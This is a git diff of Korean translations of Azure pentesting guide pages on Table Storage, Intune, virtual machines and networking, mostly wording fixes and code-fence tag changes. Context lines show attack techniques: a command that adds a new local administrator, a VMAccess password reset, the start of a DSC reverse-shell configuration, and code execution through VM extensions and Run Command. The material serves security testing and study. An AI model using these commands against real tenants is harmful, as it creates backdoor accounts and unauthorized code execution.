권한 | 기호 | 설명 | +| ---------------------- | ------ | ------------------------------------ | +| **읽기** | `r` | 파일 내용을 읽습니다. | +| **쓰기** | `w` | 파일을 업로드하고 디렉터리를 생성합니다. | +| **목록** | `l` | 디렉터리의 내용을 나열합니다. | +| **삭제** | `d` | 파일 또는 디렉터리를 삭제합니다. | +| **생성** | `c` | 파일 또는 디렉터리를 생성합니다. | +| **소유권 수정** | `o` | 소유 사용자 또는 그룹을 변경합니다. | +| **권한 수정** | `p` | 파일 또는 디렉터리의 ACL을 변경합니다. | ## 열거 @@ -330,7 +330,7 @@ az storage account local-user list \ {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get storage accounts Get-AzStorageAccount | fl # Get rules to access the storage account diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md index 41b37f8e4..575de5fce 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md @@ -4,25 +4,25 @@ ## 기본 정보 -**Azure Table Storage**는 대량의 구조화된 비관계형 데이터를 저장하기 위해 설계된 NoSQL 키-값 저장소입니다. 높은 가용성, 낮은 대기 시간 및 대규모 데이터 세트를 효율적으로 처리할 수 있는 확장성을 제공합니다. 데이터는 테이블로 구성되며, 각 엔터티는 파티션 키와 행 키로 식별되어 빠른 조회를 가능하게 합니다. 데이터는 안전하고 관리되는 저장소에 적합한 다양한 애플리케이션을 위해 휴지 상태에서의 암호화, 역할 기반 액세스 제어 및 공유 액세스 서명과 같은 기능을 지원합니다. +**Azure Table Storage**는 대량의 구조화된 비관계형 데이터를 저장하기 위해 설계된 NoSQL 키-값 저장소입니다. 높은 가용성, 낮은 대기 시간 및 대규모 데이터 세트를 효율적으로 처리할 수 있는 확장성을 제공합니다. 데이터는 테이블로 구성되며, 각 엔터티는 파티션 키와 행 키로 식별되어 빠른 조회를 가능하게 합니다. 데이터는 안전하고 관리되는 저장소를 위해 암호화, 역할 기반 액세스 제어 및 공유 액세스 서명과 같은 기능을 지원하여 다양한 애플리케이션에 적합합니다. -테이블 저장소에 **내장된 백업 메커니즘이 없습니다**. +테이블 저장소에 대한 **내장 백업 메커니즘은 없습니다**. ### 키 #### **PartitionKey** - **PartitionKey는 엔터티를 논리적 파티션으로 그룹화합니다**. 동일한 PartitionKey를 가진 엔터티는 함께 저장되어 쿼리 성능과 확장성을 향상시킵니다. -- 예: 직원 데이터를 저장하는 테이블에서 `PartitionKey`는 부서를 나타낼 수 있습니다, 예: `"HR"` 또는 `"IT"`. +- 예: 직원 데이터를 저장하는 테이블에서 `PartitionKey`는 부서를 나타낼 수 있습니다, 예를 들어 `"HR"` 또는 `"IT"`. #### **RowKey** - **RowKey는 파티션 내에서 엔터티의 고유 식별자입니다**. PartitionKey와 결합될 때, 테이블의 각 엔터티가 전 세계적으로 고유한 식별자를 갖도록 보장합니다. -- 예: `"HR"` 파티션의 경우, `RowKey`는 직원 ID일 수 있습니다, 예: `"12345"`. +- 예: `"HR"` 파티션의 경우, `RowKey`는 직원 ID일 수 있습니다, 예를 들어 `"12345"`. #### **기타 속성 (사용자 정의 속성)** -- PartitionKey와 RowKey 외에도, 엔터티는 데이터를 저장하기 위한 추가 **사용자 정의 속성을 가질 수 있습니다**. 이는 사용자 정의이며 전통적인 데이터베이스의 열처럼 작용합니다. +- PartitionKey와 RowKey 외에도 엔터티는 데이터를 저장하기 위한 추가 **사용자 정의 속성을 가질 수 있습니다**. 이는 사용자 정의이며 전통적인 데이터베이스의 열처럼 작용합니다. - 속성은 **키-값 쌍**으로 저장됩니다. - 예: `Name`, `Age`, `Title`은 직원에 대한 사용자 정의 속성이 될 수 있습니다. @@ -63,7 +63,7 @@ az storage entity merge \ ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # Get storage accounts Get-AzStorageAccount @@ -82,7 +82,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name -Reso ## Privilege Escalation -저장소 privesc와 동일: +저장소 권한 상승과 동일합니다: {{#ref}} ../az-privilege-escalation/az-storage-privesc.md @@ -96,7 +96,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name -Reso ## Persistence -저장소 지속성과 동일: +저장소 지속성과 동일합니다: {{#ref}} ../az-persistence/az-storage-persistence.md diff --git a/src/pentesting-cloud/azure-security/az-services/intune.md b/src/pentesting-cloud/azure-security/az-services/intune.md index 6eedd2883..902029c12 100644 --- a/src/pentesting-cloud/azure-security/az-services/intune.md +++ b/src/pentesting-cloud/azure-security/az-services/intune.md @@ -4,13 +4,13 @@ ## 기본 정보 -Microsoft Intune은 **앱 및 장치 관리** 프로세스를 간소화하도록 설계되었습니다. 그 기능은 모바일 장치, 데스크톱 컴퓨터 및 가상 엔드포인트를 포함한 다양한 장치에 걸쳐 확장됩니다. Intune의 핵심 기능은 **사용자 액세스 관리 및 조직의 네트워크 내에서 애플리케이션**과 장치의 관리를 단순화하는 것입니다. +Microsoft Intune은 **앱 및 장치 관리** 프로세스를 간소화하도록 설계되었습니다. 그 기능은 모바일 장치, 데스크톱 컴퓨터 및 가상 엔드포인트를 포함한 다양한 장치에 걸쳐 확장됩니다. Intune의 핵심 기능은 **사용자 액세스 관리 및 조직의 네트워크 내 애플리케이션**과 장치의 관리를 단순화하는 것입니다. ## 클라우드 -> 온프레미스 **Global Administrator** 또는 **Intune Administrator** 역할을 가진 사용자는 **등록된 Windows** 장치에서 **PowerShell** 스크립트를 실행할 수 있습니다.\ -**스크립트**는 변경되지 않는 한 장치에서 **SYSTEM**의 **권한**으로 한 번만 실행되며, Intune에서는 스크립트의 **출력**을 볼 수 없습니다. -```powershell +**스크립트**는 변경되지 않는 경우 장치에서 **SYSTEM**의 **권한**으로 한 번만 실행되며, Intune에서는 스크립트의 **출력을 볼 수 없습니다**. +```bash Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" ``` 1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home)에 로그인하거나 Pass-The-PRT를 사용합니다. diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 916132aab..28d79e62a 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -21,14 +21,14 @@ Azure 가상 머신(VMs)은 유연하고, 필요에 따라 사용할 수 있는 - **표준 보안**: 특정 구성이 필요하지 않은 기본 보안 유형입니다. - **신뢰할 수 있는 시작**: 이 보안 유형은 Secure Boot 및 Virtual Trusted Platform Module(vTPM)을 사용하여 부트킷 및 커널 수준의 맬웨어에 대한 보호를 강화합니다. - **기밀 VM**: 신뢰할 수 있는 시작 위에 VM, 하이퍼바이저 및 호스트 관리 간의 하드웨어 기반 격리를 제공하고, 디스크 암호화를 개선하며 [**더 많은 정보**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**를 제공합니다.** -- **인증**: 기본적으로 새로운 **SSH 키가 생성**되지만, 공개 키를 사용하거나 이전 키를 사용할 수 있으며 기본 사용자 이름은 **azureuser**입니다. **비밀번호**를 사용하도록 구성할 수도 있습니다. +- **인증**: 기본적으로 새로운 **SSH 키가 생성**되며, 공개 키를 사용하거나 이전 키를 사용할 수 있으며 기본 사용자 이름은 **azureuser**입니다. **비밀번호**를 사용하도록 구성할 수도 있습니다. - **VM 디스크 암호화:** 디스크는 기본적으로 플랫폼 관리 키를 사용하여 정지 상태에서 암호화됩니다. - **호스트에서 암호화**를 활성화할 수도 있으며, 이 경우 데이터는 스토리지 서비스로 전송되기 전에 호스트에서 암호화되어 호스트와 스토리지 서비스 간의 종단 간 암호화를 보장합니다 ([**문서**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). - **NIC 네트워크 보안 그룹**: - **없음**: 기본적으로 모든 포트를 엽니다. - **기본**: HTTP(80), HTTPS(443), SSH(22), RDP(3389)와 같은 수신 포트를 쉽게 열 수 있습니다. - **고급**: 보안 그룹을 선택합니다. -- **백업**: **표준** 백업(하루에 한 번) 및 **향상된** 백업(하루에 여러 번)을 활성화할 수 있습니다. +- **백업**: **표준** 백업(하루에 한 번) 및 **향상된**(하루에 여러 번) 백업을 활성화할 수 있습니다. - **패치 조정 옵션**: 선택한 정책에 따라 VM에 자동으로 패치를 적용할 수 있도록 합니다. [**문서**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching)에서 설명합니다. - **알림**: VM에서 무언가 발생할 때 이메일이나 모바일 앱으로 자동 알림을 받을 수 있습니다. 기본 규칙: - CPU 사용률이 80%를 초과 @@ -38,19 +38,19 @@ Azure 가상 머신(VMs)은 유연하고, 필요에 따라 사용할 수 있는 - 총 네트워크가 500GB를 초과 - 총 네트워크 아웃이 200GB를 초과 - VmAvailabilityMetric이 1 미만 -- **상태 모니터**: 기본적으로 포트 80에서 HTTP 프로토콜을 확인합니다. +- **헬스 모니터**: 기본적으로 포트 80에서 HTTP 프로토콜을 확인합니다. - **잠금**: VM을 잠가 읽기 전용(**ReadOnly** 잠금)으로 설정하거나 읽고 업데이트할 수 있지만 삭제할 수 없는(**CanNotDelete** 잠금) 상태로 설정할 수 있습니다. -- 대부분의 VM 관련 리소스는 **잠금을 지원**합니다. 예: 디스크, 스냅샷 등... +- 대부분의 VM 관련 리소스는 **디스크, 스냅샷** 등과 같은 잠금을 **지원합니다.** - 잠금은 **리소스 그룹 및 구독 수준**에서도 적용할 수 있습니다. ## 디스크 및 스냅샷 -- **2개 이상의 VM에 디스크를 연결할 수 있도록 활성화**할 수 있습니다. -- 기본적으로 모든 디스크는 **암호화**되어 있습니다. +- **2개 이상의 VM에 디스크를 연결할 수 있도록 활성화할 수 있습니다.** +- 기본적으로 모든 디스크는 **플랫폼 키로 암호화**됩니다. - 스냅샷에서도 동일합니다. -- 기본적으로 모든 네트워크에서 **디스크를 공유**할 수 있지만, 특정 **개인 접근**으로 **제한**하거나 공용 및 개인 접근을 **완전히 비활성화**할 수 있습니다. +- 기본적으로 모든 네트워크에서 **디스크를 공유할 수 있지만**, 특정 **개인 접근**으로 **제한**하거나 **공개 및 개인 접근을 완전히 비활성화**할 수 있습니다. - 스냅샷에서도 동일합니다. -- **디스크를 내보내기 위해 SAS URI**(최대 60일)를 **생성**할 수 있으며, 인증이 필요하도록 구성할 수 있습니다. +- **디스크를 내보내기 위해 SAS URI**(최대 60일)를 **생성할 수 있으며**, 인증이 필요하도록 구성할 수 있습니다. - 스냅샷에서도 동일합니다. {{#tabs}} @@ -64,7 +64,7 @@ az disk show --name --resource-group ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # List all disks Get-AzDisk @@ -116,7 +116,7 @@ az restore-point collection show --collection-name --resource- ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash ## List all galleries and get info about one Get-AzGallery Get-AzGallery -Name -ResourceGroupName @@ -148,7 +148,7 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName ``` -## VM에서 코드 실행 +## 코드 실행 in VMs ### VM 확장 -Azure VM 확장은 Azure 가상 머신(VM)에서 **배포 후 구성** 및 자동화 작업을 제공하는 작은 애플리케이션입니다. +Azure VM 확장은 Azure 가상 머신(VMs)에서 **배포 후 구성** 및 자동화 작업을 제공하는 작은 애플리케이션입니다. -이것은 **VM 내부에서 임의의 코드를 실행**할 수 있게 합니다. +이것은 **VM 내에서 임의의 코드를 실행**할 수 있게 합니다. 필요한 권한은 **`Microsoft.Compute/virtualMachines/extensions/write`**입니다. @@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # It takes some mins to run Get-AzVMExtensionImage -Location -PublisherName -Type ``` @@ -523,7 +523,7 @@ az vm extension set \ 다른 페이로드를 실행할 수도 있습니다: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - VMAccess 확장을 사용하여 비밀번호 재설정 -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -540,7 +540,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na VMAccess 확장 이 확장은 Windows VM 내의 사용자 비밀번호를 수정하거나(존재하지 않는 경우 생성) 할 수 있게 해줍니다. -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) 이것은 Azure Windows VM의 구성을 관리하기 위해 PowerShell DSC를 사용하는 Microsoft의 **VM 확장**입니다. 따라서 이 확장을 통해 Windows VM에서 **임의의 명령을 실행**하는 데 사용할 수 있습니다: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -603,7 +603,7 @@ Set-AzVMDscExtension ` 하이브리드 런북 워커 -이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 더 많은 정보는 [Automation Accounts service](../az-automation-account/index.html)를 확인하세요. +이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 자세한 내용은 [Automation Accounts service](../az-automation-account/index.html)를 확인하세요.
@@ -622,7 +622,7 @@ az sig gallery-application list --gallery-name --resource-group < - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` -새로운 애플리케이션 설치 방법은 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)에서 확인하세요. +새로운 애플리케이션을 설치하는 방법은 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)에서 확인하세요. > [!CAUTION] > **개별 앱과 갤러리를 다른 구독이나 테넌트와 공유하는 것이 가능합니다**. 이는 공격자가 애플리케이션에 백도어를 설치하고 다른 구독 및 테넌트로 이동할 수 있게 할 수 있기 때문에 매우 흥미롭습니다. @@ -721,16 +721,16 @@ az vm application set \ ### 사용자 데이터 -이것은 **지속적인 데이터**로, 언제든지 메타데이터 엔드포인트에서 검색할 수 있습니다. Azure에서 사용자 데이터는 AWS 및 GCP와 다르다는 점에 유의하세요. **여기에 스크립트를 배치하면 기본적으로 실행되지 않습니다**. +이것은 **지속적인 데이터**로, 메타데이터 엔드포인트에서 언제든지 검색할 수 있습니다. Azure에서 사용자 데이터는 AWS 및 GCP와 다르다는 점에 유의하세요. **여기에 스크립트를 배치하면 기본적으로 실행되지 않습니다**. ### 사용자 정의 데이터 예상 경로에 저장될 데이터를 VM에 전달하는 것이 가능합니다: - **Windows**에서는 사용자 정의 데이터가 `%SYSTEMDRIVE%\AzureData\CustomData.bin`에 이진 파일로 저장되며 처리되지 않습니다. -- **Linux**에서는 `/var/lib/waagent/ovf-env.xml`에 저장되었고, 현재는 `/var/lib/waagent/CustomData/ovf-env.xml`에 저장됩니다. +- **Linux**에서는 `/var/lib/waagent/ovf-env.xml`에 저장되었고 현재는 `/var/lib/waagent/CustomData/ovf-env.xml`에 저장됩니다. - **Linux 에이전트**: 기본적으로 사용자 정의 데이터를 처리하지 않으며, 데이터가 활성화된 사용자 정의 이미지가 필요합니다. -- **cloud-init:** 기본적으로 사용자 정의 데이터를 처리하며, 이 데이터는 [**여러 형식**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)일 수 있습니다. 사용자 정의 데이터에 스크립트만 보내면 쉽게 스크립트를 실행할 수 있습니다. +- **cloud-init:** 기본적으로 사용자 정의 데이터를 처리하며 이 데이터는 [**여러 형식**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)일 수 있습니다. 사용자 정의 데이터에 스크립트만 보내면 쉽게 스크립트를 실행할 수 있습니다. - Ubuntu와 Debian이 여기에 넣은 스크립트를 실행하는 것을 확인했습니다. - 이 스크립트가 실행되기 위해 사용자 데이터를 활성화할 필요도 없습니다. ```bash @@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **명령 실행** -이것은 Azure가 **VM에서 임의의 명령을 실행**하기 위해 제공하는 가장 기본적인 메커니즘입니다. 필요한 권한은 `Microsoft.Compute/virtualMachines/runCommand/action`입니다. +Azure가 **VM에서 임의의 명령을 실행**하기 위해 제공하는 가장 기본적인 메커니즘입니다. 필요한 권한은 `Microsoft.Compute/virtualMachines/runCommand/action`입니다. {{#tabs }} {{#tab name="Linux" }} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index 418dba8bf..6f315658c 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -9,7 +9,7 @@ Azure는 사용자가 Azure 클라우드 내에서 **격리된** **네트워크* ## 가상 네트워크(VNET) 및 서브넷 -Azure 가상 네트워크(VNet)는 클라우드에서 귀하의 네트워크를 나타내며, 귀하의 구독에 전념하는 Azure 환경 내에서 **논리적 격리**를 제공합니다. VNet은 Azure에서 가상 사설 네트워크(VPN)를 프로비저닝하고 관리할 수 있게 하며, 가상 머신(VM), 데이터베이스 및 애플리케이션 서비스와 같은 리소스를 호스팅합니다. 이들은 IP 주소 범위, 서브넷 생성, 라우트 테이블 및 네트워크 게이트웨이를 포함한 **네트워크 설정에 대한 완전한 제어**를 제공합니다. +Azure 가상 네트워크(VNet)는 클라우드에서 자신의 네트워크를 나타내며, 구독에 전념하는 Azure 환경 내에서 **논리적 격리**를 제공합니다. VNet은 Azure에서 가상 사설 네트워크(VPN)를 프로비저닝하고 관리할 수 있게 하며, 가상 머신(VM), 데이터베이스 및 애플리케이션 서비스와 같은 리소스를 호스팅합니다. 이들은 IP 주소 범위, 서브넷 생성, 라우트 테이블 및 네트워크 게이트웨이를 포함한 **네트워크 설정에 대한 완전한 제어**를 제공합니다. **서브넷**은 특정 **IP 주소 범위**로 정의된 VNet 내의 세분화입니다. VNet을 여러 서브넷으로 분할함으로써 네트워크 아키텍처에 따라 리소스를 조직하고 보호할 수 있습니다.\ 기본적으로 동일한 Azure 가상 네트워크(VNet) 내의 모든 서브넷은 **서로 통신할 수 있습니다**. @@ -22,7 +22,7 @@ Azure 가상 네트워크(VNet)는 클라우드에서 귀하의 네트워크를 ### 열거 -Azure 계정의 모든 VNet 및 서브넷을 나열하려면 Azure 명령줄 인터페이스(CLI)를 사용할 수 있습니다. 단계는 다음과 같습니다: +Azure 계정의 모든 VNet 및 서브넷을 나열하려면 Azure Command-Line Interface (CLI)를 사용할 수 있습니다. 단계는 다음과 같습니다: {{#tabs }} {{#tab name="az cli" }} @@ -35,7 +35,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName @@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name -ResourceGroupName --re ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Azure Firewalls Get-AzFirewall @@ -159,7 +159,7 @@ az network route-table route list --route-table-name --resource ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Route Tables Get-AzRouteTable @@ -171,16 +171,16 @@ Get-AzRouteTable ## Azure Private Link -Azure Private Link는 **Azure 서비스에 대한 비공식 접근을 가능하게 하는 Azure의 서비스**로, **Azure 가상 네트워크(VNet)와 서비스 간의 트래픽이 Microsoft의 Azure 백본 네트워크 내에서 완전히 이동하도록 보장합니다**. 이 설정은 서비스를 VNet으로 가져옵니다. 이 설정은 데이터를 공용 인터넷에 노출하지 않음으로써 보안을 강화합니다. +Azure Private Link는 **Azure 서비스에 대한 비공식적인 접근을 가능하게 하는 Azure의 서비스**로, **Azure 가상 네트워크(VNet)와 서비스 간의 트래픽이 Microsoft의 Azure 백본 네트워크 내에서 완전히 이동하도록 보장합니다**. 이 설정은 서비스를 VNet으로 가져옵니다. 이로 인해 데이터가 공용 인터넷에 노출되지 않아 보안이 강화됩니다. -Private Link는 Azure Storage, Azure SQL Database 및 Private Link를 통해 공유되는 사용자 정의 서비스와 같은 다양한 Azure 서비스와 함께 사용할 수 있습니다. 이는 자신의 VNet 내에서 또는 다른 Azure 구독에서 서비스를 소비하는 안전한 방법을 제공합니다. +Private Link는 Azure Storage, Azure SQL Database 및 Private Link를 통해 공유되는 사용자 정의 서비스와 같은 다양한 Azure 서비스와 함께 사용할 수 있습니다. 이는 자신의 VNet 내에서 또는 다른 Azure 구독에서 서비스를 안전하게 소비할 수 있는 방법을 제공합니다. > [!CAUTION] > NSG는 개인 엔드포인트에 적용되지 않으므로, Private Link를 포함하는 서브넷에 NSG를 연결하는 것은 효과가 없습니다. **예시:** -**VNet에서 안전하게 접근하고자 하는 Azure SQL Database가 있는 시나리오를 고려해 보십시오**. 일반적으로 이는 공용 인터넷을 통과해야 할 수 있습니다. Private Link를 사용하면 **VNet 내에서 Azure SQL Database 서비스에 직접 연결되는 개인 엔드포인트를 생성할 수 있습니다**. 이 엔드포인트는 데이터베이스가 자신의 VNet의 일부인 것처럼 보이게 하며, 개인 IP 주소를 통해 접근할 수 있도록 하여 안전하고 비공식적인 접근을 보장합니다. +**VNet에서 Azure SQL Database에 안전하게 접근하고자 하는 시나리오를 고려해 보십시오**. 일반적으로 이는 공용 인터넷을 통해 이동해야 할 수 있습니다. Private Link를 사용하면 **VNet 내에 Azure SQL Database 서비스에 직접 연결되는 개인 엔드포인트를 생성할 수 있습니다**. 이 엔드포인트는 데이터베이스가 자신의 VNet의 일부인 것처럼 보이게 하며, 개인 IP 주소를 통해 접근할 수 있도록 하여 안전하고 비공식적인 접근을 보장합니다. ### **Enumeration** @@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Private Link Services Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName @@ -207,11 +207,11 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private ## Azure 서비스 엔드포인트 -Azure 서비스 엔드포인트는 가상 네트워크의 개인 주소 공간과 VNet의 ID를 Azure 서비스에 직접 연결하여 확장합니다. 서비스 엔드포인트를 활성화하면, **VNet의 리소스가 Azure의 백본 네트워크를 사용하여 Azure 서비스에 안전하게 연결할 수 있습니다**. 이는 **VNet에서 Azure 서비스로의 트래픽이 Azure 네트워크 내에 유지되도록 하여**, 보다 안전하고 신뢰할 수 있는 경로를 제공합니다. +Azure 서비스 엔드포인트는 가상 네트워크의 개인 주소 공간과 VNet의 ID를 Azure 서비스에 대한 직접 연결을 통해 확장합니다. 서비스 엔드포인트를 활성화하면, **VNet의 리소스가 Azure의 백본 네트워크를 사용하여 Azure 서비스에 안전하게 연결할 수 있습니다**. 이는 **VNet에서 Azure 서비스로의 트래픽이 Azure 네트워크 내에 유지되도록 보장하여** 보다 안전하고 신뢰할 수 있는 경로를 제공합니다. **예시:** -예를 들어, **Azure Storage** 계정은 기본적으로 공용 인터넷을 통해 접근할 수 있습니다. **VNet 내에서 Azure Storage에 대한 서비스 엔드포인트를 활성화하면**, VNet의 트래픽만이 스토리지 계정에 접근할 수 있도록 보장할 수 있습니다. 그런 다음 스토리지 계정 방화벽을 구성하여 VNet에서만 트래픽을 수락하도록 설정할 수 있습니다. +예를 들어, **Azure Storage** 계정은 기본적으로 공용 인터넷을 통해 접근할 수 있습니다. VNet 내에서 **Azure Storage에 대한 서비스 엔드포인트를 활성화하면**, VNet의 트래픽만이 스토리지 계정에 접근할 수 있도록 보장할 수 있습니다. 그런 다음 스토리지 계정 방화벽을 구성하여 VNet에서만 트래픽을 수락하도록 설정할 수 있습니다. ### **열거** @@ -226,7 +226,7 @@ az network vnet subnet list --resource-group --vnet-name
@@ -246,7 +246,7 @@ Microsoft는 [**문서**](https://learn.microsoft.com/en-us/azure/virtual-networ - VNet에서 Azure 서비스로의 트래픽은 Microsoft Azure 백본 네트워크를 통해 공용 인터넷을 우회하여 이동합니다. - 엔드포인트는 Azure 서비스에 대한 직접 연결이며 VNet 내에서 서비스에 대한 프라이빗 IP를 제공하지 않습니다. -- 서비스 자체는 VNet 외부에서 공용 엔드포인트를 통해 여전히 접근 가능하며, 서비스 방화벽을 구성하여 이러한 트래픽을 차단하지 않는 한 접근이 가능합니다. +- 서비스 자체는 VNet 외부에서 공용 엔드포인트를 통해 여전히 접근할 수 있으며, 서비스 방화벽을 구성하여 이러한 트래픽을 차단하지 않는 한 접근이 가능합니다. - 서브넷과 Azure 서비스 간의 일대일 관계입니다. - 프라이빗 링크보다 비용이 저렴합니다. @@ -254,8 +254,8 @@ Microsoft는 [**문서**](https://learn.microsoft.com/en-us/azure/virtual-networ - 프라이빗 링크는 Azure 서비스를 VNet 내의 프라이빗 엔드포인트를 통해 매핑하며, 이는 VNet 내의 프라이빗 IP 주소를 가진 네트워크 인터페이스입니다. - Azure 서비스는 이 프라이빗 IP 주소를 사용하여 접근되며, 마치 네트워크의 일부인 것처럼 보입니다. -- 프라이빗 링크를 통해 연결된 서비스는 VNet 또는 연결된 네트워크에서만 접근 가능하며, 서비스에 대한 공용 인터넷 접근은 없습니다. -- Azure 서비스 또는 Azure에 호스팅된 자체 서비스에 대한 안전한 연결을 가능하게 하며, 다른 사람이 공유하는 서비스에 대한 연결도 제공합니다. +- 프라이빗 링크를 통해 연결된 서비스는 VNet 또는 연결된 네트워크에서만 접근할 수 있으며, 서비스에 대한 공용 인터넷 접근은 없습니다. +- Azure 서비스 또는 Azure에 호스팅된 자체 서비스에 대한 안전한 연결을 가능하게 하며, 다른 사람들이 공유하는 서비스에 대한 연결도 제공합니다. - 서비스 엔드포인트와 달리 VNet 내의 프라이빗 엔드포인트를 통해 더 세분화된 접근 제어를 제공합니다. 요약하자면, 서비스 엔드포인트와 프라이빗 링크 모두 Azure 서비스에 대한 안전한 연결을 제공하지만, **프라이빗 링크는 서비스를 공용 인터넷에 노출하지 않고 프라이빗하게 접근하도록 보장함으로써 더 높은 수준의 격리와 보안을 제공합니다**. 반면 서비스 엔드포인트는 VNet 내에서 프라이빗 IP가 필요 없는 일반적인 경우에 Azure 서비스에 대한 간단하고 안전한 접근을 설정하기가 더 쉽습니다. @@ -268,7 +268,7 @@ Microsoft는 [**문서**](https://learn.microsoft.com/en-us/azure/virtual-networ **예시:** -전 세계에 사용자들이 있는 글로벌 분산 애플리케이션이 있다고 가정해 보십시오. Azure Front Door를 사용하여 **사용자 요청을 애플리케이션을 호스팅하는 가장 가까운 지역 데이터 센터로 라우팅**할 수 있으며, 이를 통해 지연 시간을 줄이고 사용자 경험을 개선하며 **WAF 기능으로 웹 공격으로부터 방어할 수 있습니다**. 특정 지역에서 다운타임이 발생하면 Azure Front Door는 자동으로 다음 최적의 위치로 트래픽을 재라우팅하여 높은 가용성을 보장합니다. +전 세계에 사용자들이 있는 글로벌 분산 애플리케이션이 있다고 가정해 보십시오. Azure Front Door를 사용하여 **사용자 요청을 애플리케이션을 호스팅하는 가장 가까운 지역 데이터 센터로 라우팅**할 수 있어 지연 시간을 줄이고 사용자 경험을 개선하며 **WAF 기능으로 웹 공격으로부터 방어할 수 있습니다**. 특정 지역에서 다운타임이 발생하면 Azure Front Door는 자동으로 트래픽을 다음 최적의 위치로 재라우팅하여 높은 가용성을 보장합니다. ### 열거 @@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Azure Front Door Instances Get-AzFrontDoor @@ -299,7 +299,7 @@ Azure Application Gateway는 **웹 트래픽 로드 밸런서**로, **웹** 애 **예시:** -사용자 계정 및 결제 처리와 같은 다양한 기능을 위한 여러 하위 도메인을 포함하는 전자 상거래 웹사이트가 있다고 가정해 보십시오. Azure Application Gateway는 **URL 경로에 따라 적절한 웹 서버로 트래픽을 라우팅할 수 있습니다**. 예를 들어, `example.com/accounts`로의 트래픽은 사용자 계정 서비스로, `example.com/pay`로의 트래픽은 결제 처리 서비스로 라우팅될 수 있습니다.\ +사용자 계정 및 결제 처리와 같은 다양한 기능을 위한 여러 하위 도메인을 포함하는 전자 상거래 웹사이트가 있다고 가정해 보십시오. Azure Application Gateway는 **URL 경로에 따라 적절한 웹 서버로 트래픽을 라우팅**할 수 있습니다. 예를 들어, `example.com/accounts`로의 트래픽은 사용자 계정 서비스로, `example.com/pay`로의 트래픽은 결제 처리 서비스로 라우팅될 수 있습니다.\ 그리고 **WAF 기능을 사용하여 웹사이트를 공격으로부터 보호합니다.** ### **열거** @@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name - ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List the Web Application Firewall configurations for your Application Gateways (Get-AzApplicationGateway -Name -ResourceGroupName ).WebApplicationFirewallConfiguration ``` @@ -321,16 +321,16 @@ az network application-gateway waf-config list --gateway-name - ## Azure Hub, Spoke & VNet Peering -**VNet Peering**는 Azure의 네트워킹 기능으로 **서로 다른 가상 네트워크(VNet)를 직접적이고 원활하게 연결할 수 있게 해줍니다**. VNet 피어링을 